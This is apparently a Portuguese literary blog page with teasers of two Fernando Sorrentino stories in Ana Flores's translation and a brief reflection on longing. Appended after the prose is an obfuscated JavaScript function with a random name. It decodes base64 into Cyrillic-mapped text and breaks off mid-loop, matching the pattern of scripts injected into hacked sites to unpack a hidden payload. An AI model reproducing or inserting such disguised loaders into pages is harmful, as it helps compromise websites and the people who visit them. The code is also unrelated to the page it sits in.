A LIÇÃO
Fernando Sorrentino
Tradução: Ana Flores
anaflores.rj@terra.com.br
Quando terminei meu curso secundário, consegui emprego como funcionário de uma companhia de seguros de Buenos Aires. Era um trabalho bem desagradável e se desenvolvia num ambiente de pessoas desprezíveis, mas como eu tinha apenas dezoito anos, isso não me incomodava tanto. (mais…)
UM LIVRO ESCLARECEDOR
Ludwig Boitus: Stelzvögel, Gotinga, 1972
Fernando Sorrentino
No conciso prólogo dessa obra, o professor Franz Klamm nos informa que o Dr. Ludwig Boitus viajou de Gotinga a Huayllén-Naquén com o exclusivo propósito de estudar in loco o poder de atração simbiótica dessas aves pernaltas popularmente conhecidas como calegüinas, denominação quase unanimemente aceita na bibliografia especializada em espanhol. (mais…)
A saudade é uma faca cravada no peito em cujo fio derramamos o mais involuntário dos sangues. Não é nada que possamos programar. Evitar. Ampliar. Ou reduzir. Ou disfarçar. Quando essa faca se mexe, sangramos. Neste começo de janeiro, sozinho e distante, sinto saudades de tudo (como disse Fernanda Montenegro em “Central do Brasil”).
function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5